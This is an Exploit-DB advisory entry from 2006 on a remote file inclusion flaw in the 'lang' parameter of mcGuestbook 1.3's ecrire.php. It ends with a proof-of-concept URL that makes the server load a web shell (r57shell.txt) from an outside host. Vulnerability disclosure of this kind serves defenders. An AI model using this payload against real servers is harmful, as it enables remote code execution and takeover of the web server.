mcGuestbook 1.3 - 'ecrire.php?lang' Remote File Inclusion

EDB-ID:

28036




Platform:

PHP

Date:

2006-06-16


source: https://www.securityfocus.com/bid/18476/info
 
mcGuestbook is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/path/ecrire.php?lang=http://www.example2.com/r57shell.txt?